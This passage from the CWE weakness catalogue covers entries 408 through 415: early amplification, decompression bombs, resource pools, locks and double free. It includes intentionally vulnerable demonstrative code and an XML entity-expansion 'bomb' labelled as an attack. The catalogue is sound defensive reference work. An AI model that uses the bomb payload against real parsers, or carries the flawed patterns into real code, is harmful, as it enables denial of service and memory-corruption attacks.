Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other) *The typical consequence is CPU consumption, but memory consumption and consumption of other resources can also occur.*	

Observed Examples

Reference	Description
CVE-2003-0244	CPU consumption via inputs that cause many hash table collisions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0244*
CVE-2003-0364	CPU consumption via inputs that cause many hash table collisions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0364*
CVE-2002-1203	Product performs unnecessary processing before dropping an invalid packet. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1203*
CVE-2001-1501	CPU and memory consumption using many wildcards. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1501*
CVE-2004-2527	Product allows attackers to cause multiple copies of a program to be loaded more quickly than the program can detect that other copies are running, then exit. This type of error should probably have its own category, where teardown takes more time than initialization. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2527*
CVE-2006-6931	Network monitoring system allows remote attackers to cause a denial of service (CPU consumption and detection outage) via crafted network traffic, aka a "backtracking attack." *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6931*

Reference	Description
CVE-2006-3380	Wiki allows remote attackers to cause a denial of service (CPU consumption) by performing a diff between large, crafted pages that trigger the worst case algorithmic complexity. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3380*
CVE-2006-3379	Wiki allows remote attackers to cause a denial of service (CPU consumption) by performing a diff between large, crafted pages that trigger the worst case algorithmic complexity. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3379*
CVE-2005-2506	OS allows attackers to cause a denial of service (CPU consumption) via crafted Gregorian dates. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2506*
CVE-2005-1792	Memory leak by performing actions faster than the software can clear them. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1792*

Functional Areas

- Cryptography

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Algorithmic Complexity

References

[REF-395]Crosby and Wallach. "Algorithmic Complexity Attacks". < http://www.cs.rice.edu/~scrosby/hash/CrosbyWallach_UsenixSec2003/index.html >.

CWE-408: Incorrect Behavior Order: Early Amplification

Weakness ID : 408 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software allows an entity to perform a legitimate but expensive operation before authentication or authorization has taken place.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	405	Asymmetric Resource Consumption (Amplification)	883
ChildOf	C	696	Incorrect Behavior Order	1348

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	1867

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Amplification DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) *System resources, CPU and memory, can be quickly consumed. This can lead to poor system performance or system crash.*	

Demonstrative Examples

Example 1:

This data prints the contents of a specified file requested by a user.

Example Language: PHP *(bad)*

```
function printFile($username,$filename){
    //read file into string
    $file = file_get_contents($filename);
    if ($file && isOwnerOf($username,$filename)){
        echo $file;
        return true;
    }
    else{
        echo 'You are not authorized to view this file';
    }
    return false;
}
```

This code first reads a specified file into memory, then prints the file if the user is authorized to see its contents. The read of the file into memory may be resource intensive and is unnecessary if the user is not allowed to see the file anyway.

Observed Examples

Reference	Description
CVE-2004-2458	Tool creates directories before authenticating user. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2458*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947

Notes

Relationship

Overlaps authentication errors.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Early Amplification

CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)

Weakness ID : 409 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.

Extended Description

An example of data amplification is a "decompression bomb," a small ZIP file that can produce a large amount of data when it is decompressed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	405	Asymmetric Resource Consumption (Amplification)	883
ParentOf	B	776	Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')	1440

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	1849

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Amplification DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) *System resources, CPU and memory, can be quickly consumed. This can lead to poor system performance or system crash.*	

Demonstrative Examples

Example 1:

The DTD and the very brief XML below illustrate what is meant by an XML bomb. The ZERO entity contains one character, the letter A. The choice of entity name ZERO is being used to indicate length equivalent to that exponent on two, that is, the length of ZERO is 2^0. Similarly, ONE refers to ZERO twice, therefore the XML parser will expand ONE to a length of 2, or 2^1. Ultimately,

we reach entity THIRTYTWO, which will expand to 2^32 characters in length, or 4 GB, probably consuming far more data than expected.

Example Language: XML *(attack)*

```
<?xml version="1.0"?>
<!DOCTYPE MaliciousDTD [
<!ENTITY ZERO "A">
<!ENTITY ONE "&ZERO;&ZERO;">
<!ENTITY TWO "&ONE;&ONE;">
...
<!ENTITY THIRTYTWO "&THIRTYONE;&THIRTYONE;">
]>
<data>&THIRTYTWO;</data>
```

Observed Examples

Reference	Description
CVE-2009-1955	XML bomb in web server module *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1955*
CVE-2003-1564	Parsing library allows XML bomb *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1564*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	844	1902
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947
MemberOf	C	1134	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)	1133	1983

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Data Amplification
The CERT Oracle Secure Coding Standard for Java (2011)	IDS04-J		Limit the size of files passed to ZipInputStream

CWE-410: Insufficient Resource Pool

Weakness ID : 410 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software's resource pool is not large enough to handle peak demand, which allows an attacker to prevent others from accessing the resource by using a (relatively) large number of requests for resources.

Extended Description

Frequently the consequence is a "flood" of connection or sessions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
CanPrecede		400	Uncontrolled Resource Consumption	864

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	1864

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability Integrity Other	DoS: Crash, Exit, or Restart Other *Floods often cause a crash or other problem besides denial of the resource itself; these are likely examples of *other* vulnerabilities, not an insufficient resource pool.*	

Potential Mitigations

Phase: Architecture and Design

Do not perform resource-intensive transactions for unauthenticated users and/or invalid requests.

Phase: Architecture and Design

Consider implementing a velocity check mechanism which would detect abusive behavior.

Phase: Operation

Consider load balancing as an option to handle heavy loads.

Phase: Implementation

Make sure that resource handles are properly closed when no longer needed.

Phase: Architecture and Design

Identify the system's resource intensive operations and consider protecting them from abuse (e.g. malicious automated script which runs the resources out).

Demonstrative Examples

Example 1:

In the following snippet from a Tomcat configuration file, a JDBC connection pool is defined with a maximum of 5 simultaneous connections (with a 60 second timeout). In this case, it may be trivial for an attacker to instigate a denial of service (DoS) by using up all of the available connections in the pool.

Example Language: XML *(bad)*

```
<Resource name="jdbc/exampledb"
auth="Container"
```

```
type="javax.sql.DataSource"
removeAbandoned="true"
removeAbandonedTimeout="30"
maxActive="5"
maxIdle="5"
maxWait="60000"
username="testuser"
password="testpass"
driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost/exampledb"/>
```

Observed Examples

Reference	Description
CVE-1999-1363	Large number of locks on file exhausts the pool and causes crash. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1363*
CVE-2001-1340	Product supports only one connection and does not disconnect a user who does not provide credentials. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1340*
CVE-2002-0406	Large number of connections without providing credentials allows connection exhaustion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0406*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	1879
MemberOf	C	855	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 12 - Thread Pools (TPS)	844	1907
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947
MemberOf	C	1145	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 11. Thread Pools (TPS)	1133	1989

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insufficient Resource Pool
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
The CERT Oracle Secure Coding Standard for Java (2011)	TPS00-J		Use thread pools to enable graceful degradation of service during traffic bursts

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

CWE-412: Unrestricted Externally Accessible Lock

Weakness ID : 412 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software properly checks for the existence of a lock, but the lock can be externally controlled or influenced by an actor that is outside of the intended sphere of control.

Extended Description

This prevents the software from acting on associated resources or performing other behaviors that are controlled by the presence of the lock. Relevant locks might include an exclusive lock or mutex, or modifying a shared resource that is treated as a lock. If the lock can be held for an indefinite period of time, then the denial of service could be permanent.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	667	Improper Locking	1299
CanAlsoBe	B	410	Insufficient Resource Pool	891

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	411	Resource Locking Problems	1865

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) *When an attacker can control a lock, the program may wait indefinitely until the attacker releases the lock, causing a denial of service to other users of the program. This is especially problematic if there is a blocking operation on the lock.*	

Detection Methods

White Box

Automated code analysis techniques might not be able to reliably detect this weakness, since the application's behavior and general security model dictate which resource locks are critical. Interpretation of the weakness might require knowledge of the environment, e.g. if the existence of a file is used as a lock, but the file is created in a world-writable directory.

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Use any access control that is offered by the functionality that is offering the lock.

Phase: Architecture and Design

Phase: Implementation

Use unpredictable names or identifiers for the locks. This might not always be possible or feasible.

Phase: Architecture and Design

Consider modifying your code to use non-blocking synchronization methods.

Demonstrative Examples

Example 1:

This code tries to obtain a lock for a file, then writes to it.

Example Language: PHP *(bad)*

```
function writeToLog($message){
    $logfile = fopen("logFile.log", "a");
    //attempt to get logfile lock
    if (flock($logfile, LOCK_EX)) {
        fwrite($logfile,$message);
        // unlock logfile
        flock($logfile, LOCK_UN);
    }
    else {
        print "Could not obtain lock on logFile.log, message not recorded\n";
    }
}
fclose($logFile);
```

PHP by default will wait indefinitely until a file lock is released. If an attacker is able to obtain the file lock, this code will pause execution, possibly leading to denial of service for other users. Note that in this case, if an attacker can perform an flock() on the file, they may already have privileges to destroy the log file. However, this still impacts the execution of other programs that depend on flock().

Observed Examples

Reference	Description
CVE-2001-0682	Program can not execute when attacker obtains a mutex. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0682*
CVE-2002-1914	Program can not execute when attacker obtains a lock on a critical output file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1914*
CVE-2002-1915	Program can not execute when attacker obtains a lock on a critical output file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1915*
CVE-2002-0051	Critical file can be opened with exclusive read access by user, preventing application of security policy. Possibly related to improper permissions, large-window race condition. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0051*
CVE-2000-0338	Chain: predictable file names used for locking, allowing attacker to create the lock beforehand. Resultant from permissions and randomness. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0338*
CVE-2000-1198	Chain: Lock files with predictable names. Resultant from randomness. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1198*
CVE-2002-1869	Product does not check if it can write to a log file, allowing attackers to avoid logging by accessing the file using an exclusive lock. Overlaps unchecked error condition. This is not quite CWE-412, but close. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1869*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	361	7PK - Time and State	700	1860
MemberOf	C	730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	1879

Nature	Type	ID	Name	V	Page
MemberOf	C	853	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)	844	1906
MemberOf	C	989	SFP Secondary Cluster: Unrestricted Lock	888	1953
MemberOf	C	1143	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK)	1133	1988

Notes

Relationship

This overlaps Insufficient Resource Pool when the "pool" is of size 1. It can also be resultant from race conditions, although the timing window could be quite large in some cases.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unrestricted Critical Resource Lock
7 Pernicious Kingdoms			Deadlock
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
The CERT Oracle Secure Coding Standard for Java (2011)	LCK00-J		Use private final lock objects to synchronize classes that may interact with untrusted code
The CERT Oracle Secure Coding Standard for Java (2011)	LCK07-J		Avoid deadlock by requesting and releasing locks in the same order
Software Fault Patterns	SFP22		Unrestricted lock

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
25	Forced Deadlock

CWE-413: Improper Resource Locking

Weakness ID : 413 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not lock or does not correctly lock a resource when the software must have exclusive access to the resource.

Extended Description

When a resource is not properly locked, an attacker could modify the resource while it is being operated on by the software. This might violate the software's assumption that the resource will not change, potentially leading to unexpected behaviors.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	667	Improper Locking	1299
ParentOf	V	591	Sensitive Data Storage in Improperly Locked Memory	1182

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	411	Resource Locking Problems	1865

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Availability	DoS: Instability	
	DoS: Crash, Exit, or Restart	

Potential Mitigations

Phase: Architecture and Design

Use a non-conflicting privilege scheme.

Phase: Architecture and Design

Phase: Implementation

Use synchronization when locking a resource.

Demonstrative Examples

Example 1:

The following function attempts to acquire a lock in order to perform operations on a shared resource.

Example Language: C *(bad)*

```
void f(pthread_mutex_t *mutex) {
    pthread_mutex_lock(mutex);
    /* access shared resource */
    pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting it to higher levels.

Example Language: C *(good)*

```
int f(pthread_mutex_t *mutex) {
    int result;
    result = pthread_mutex_lock(mutex);
    if (0 != result)
        return result;
    /* access shared resource */
    return pthread_mutex_unlock(mutex);
}
```

Example 2:

This Java example shows a simple BankAccount class with deposit and withdraw methods.

Example Language: Java *(bad)*

```
public class BankAccount {
    // variable for bank account balance
    private double accountBalance;
    // constructor for BankAccount
    public BankAccount() {
        accountBalance = 0;
    }
    // method to deposit amount into BankAccount
    public void deposit(double depositAmount) {
        double newBalance = accountBalance + depositAmount;
        accountBalance = newBalance;
    }
    // method to withdraw amount from BankAccount
    public void withdraw(double withdrawAmount) {
        double newBalance = accountBalance - withdrawAmount;
        accountBalance = newBalance;
    }
    // other methods for accessing the BankAccount object
    ...
}
```

However, the deposit and withdraw methods have shared access to the account balance private class variable. This can result in a race condition if multiple threads attempt to call the deposit and withdraw methods simultaneously where the account balance is modified by one thread before another thread has completed modifying the account balance. For example, if a thread attempts to withdraw funds using the withdraw method before another thread that is depositing funds using the deposit method completes the deposit then there may not be sufficient funds for the withdraw transaction.

To prevent multiple threads from having simultaneous access to the account balance variable the deposit and withdraw methods should be synchronized using the synchronized modifier.

Example Language: Java *(good)*

```
public class BankAccount {
    ...
    // synchronized method to deposit amount into BankAccount
    public synchronized void deposit(double depositAmount) {
        ...
    }
    // synchronized method to withdraw amount from BankAccount
    public synchronized void withdraw(double withdrawAmount) {
        ...
    }
    ...
}
```

An alternative solution is to use a lock object to ensure exclusive access to the bank account balance variable. As shown below, the deposit and withdraw methods use the lock object to set a lock to block access to the BankAccount object from other threads until the method has completed updating the bank account balance variable.

Example Language: Java *(good)*

```
public class BankAccount {
    ...
    // lock object for thread access to methods
    private ReentrantLock balanceChangeLock;
    // condition object to temporarily release lock to other threads
    private Condition sufficientFundsCondition;
    // method to deposit amount into BankAccount
    public void deposit(double amount) {
        // set lock to block access to BankAccount from other threads
```

```
        balanceChangeLock.lock();
        try {
            double newBalance = balance + amount;
            balance = newBalance;
            // inform other threads that funds are available
            sufficientFundsCondition.signalAll();
        } catch (Exception e) {...}
        finally {
            // unlock lock object
            balanceChangeLock.unlock();
        }
    }
    // method to withdraw amount from bank account
    public void withdraw(double amount) {
        // set lock to block access to BankAccount from other threads
        balanceChangeLock.lock();
        try {
            while (balance < amount) {
                // temporarily unblock access
                // until sufficient funds are available
                sufficientFundsCondition.await();
            }
            double newBalance = balance - amount;
            balance = newBalance;
        } catch (Exception e) {...}
        finally {
            // unlock lock object
            balanceChangeLock.unlock();
        }
    }
    ...
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	852	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)	844	1906
MemberOf	C	853	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)	844	1906
MemberOf	C	986	SFP Secondary Cluster: Missing Lock	888	1951
MemberOf	C	1142	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)	1133	1988

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insufficient Resource Locking
The CERT Oracle Secure Coding Standard for Java (2011)	VNA00-J		Ensure visibility when accessing shared primitive variables
The CERT Oracle Secure Coding Standard for Java (2011)	VNA02-J		Ensure that compound operations on shared variables are atomic
The CERT Oracle Secure Coding Standard for Java (2011)	LCK00-J		Use private final lock objects to synchronize classes that may interact with untrusted code
Software Fault Patterns	SFP19		Missing Lock

CWE-414: Missing Lock Check

Weakness ID : 414 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

A product does not check to see if a lock is present before performing sensitive operations on a resource.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		667	Improper Locking	1299

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	411	Resource Locking Problems	1865

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Availability	DoS: Instability	
	DoS: Crash, Exit, or Restart	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Implement a reliable lock mechanism.

Observed Examples

Reference	Description
CVE-2004-1056	Product does not properly check if a lock is present, allowing other attackers to access functionality. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1056*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	986	SFP Secondary Cluster: Missing Lock	888	1951

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Missing Lock Check

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP19		Missing Lock

CWE-415: Double Free

Weakness ID : 415 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The product calls free() twice on the same memory address, potentially leading to modification of unexpected memory locations.

Extended Description

When a program calls free() twice with the same argument, the program's memory management data structures become corrupted. This corruption can cause the program to crash or, in some circumstances, cause two later calls to malloc() to return the same pointer. If malloc() returns the same value twice and the program later gives the attacker control over the data that is written into this doubly-allocated memory, the program becomes vulnerable to a buffer overflow attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	666	Operation on Resource in Wrong Phase of Lifetime	1298
ChildOf	C	675	Duplicate Operations on Resource	1316
ChildOf	B	825	Expired Pointer Dereference	1523
PeerOf	B	123	Write-what-where Condition	296
PeerOf	V	416	Use After Free	904
CanFollow	B	364	Signal Handler Race Condition	802

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	672	Operation on a Resource after Expiration or Release	1310

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Alternate Terms

Double-free :

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Confidentiality	Execute Unauthorized Code or Commands	

Scope	Impact	Likelihood
Availability	*Doubly freeing memory may result in a write-what-where condition, allowing an attacker to execute arbitrary code.*	

Potential Mitigations

Phase: Architecture and Design

Choose a language that provides automatic memory management.

Phase: Implementation

Ensure that each allocation is freed only once. After freeing a chunk, set the pointer to NULL to ensure the pointer cannot be freed again. In complicated error conditions, be sure that clean-up routines respect the state of allocation properly. If the language is object oriented, ensure that object destructors delete each chunk of memory only once.

Phase: Implementation

Use a static analysis tool to find double free instances.

Demonstrative Examples

Example 1:

The following code shows a simple example of a double free vulnerability.

Example Language: C *(bad)*

```
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
  free(ptr);
}
...
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Example 2:

While contrived, this code should be exploitable on Linux distributions which do not ship with heap-chunk check summing turned on.

Example Language: C *(bad)*

```
#include <stdio.h>
#include <unistd.h>
#define BUFSIZE1 512
#define BUFSIZE2 ((BUFSIZE1/2) - 8)
int main(int argc, char **argv) {
  char *buf1R1;
  char *buf2R1;
  char *buf1R2;
  buf1R1 = (char *) malloc(BUFSIZE2);
  buf2R1 = (char *) malloc(BUFSIZE2);
  free(buf1R1);
  free(buf2R1);
  buf1R2 = (char *) malloc(BUFSIZE1);
  strncpy(buf1R2, argv[1], BUFSIZE1-1);
  free(buf2R1);
```

```
    free(buf1R2);
}
```

Observed Examples

Reference	Description
CVE-2006-5051	Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition that leads to a double free (CWE-415). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5051*
CVE-2004-0642	Double free resultant from certain error conditions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0642*
CVE-2004-0772	Double free resultant from certain error conditions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0772*
CVE-2005-1689	Double free resultant from certain error conditions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1689*
CVE-2003-0545	Double free from invalid ASN.1 encoding. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0545*
CVE-2003-1048	Double free from malformed GIF. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1048*
CVE-2005-0891	Double free from malformed GIF. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0891*
CVE-2002-0059	Double free from malformed compressed data. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0059*

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	398	7PK - Code Quality	700	1863
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	1886
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1917
MemberOf	C	969	SFP Secondary Cluster: Faulty Memory Release	888	1944
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	1998
MemberOf	C	1237	SFP Primary Cluster: Faulty Resource Release	888	2019

Notes

Relationship

This is usually resultant from another weakness, such as an unhandled error or race condition between threads. It could also be primary to weaknesses such as buffer overflows.

Maintenance

It could be argued that Double Free would be most appropriately located as a child of "Use after Free", but "Use" and "Release" are considered to be distinct operations within vulnerability theory, therefore this is more accurately "Release of a Resource after Expiration or Release", which doesn't exist yet.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			DFREE - Double-Free Vulnerability
7 Pernicious Kingdoms			Double Free
CLASP			Doubly freeing memory
CERT C Secure Coding	MEM00-C		Allocate and free memory in the same module, at the same level of abstraction
CERT C Secure Coding	MEM01-C		Store a new value in pointers immediately after free()
CERT C Secure Coding	MEM30-C	CWE More Specific	Do not access freed memory
CERT C Secure Coding	MEM31-C		Free dynamically allocated memory exactly once
Software Fault Patterns	SFP12		Faulty Memory Release

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-416: Use After Free

Weakness ID : 416 **Status:** Stable
Structure : Simple
Abstraction : Variant

Description

Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.

Extended Description

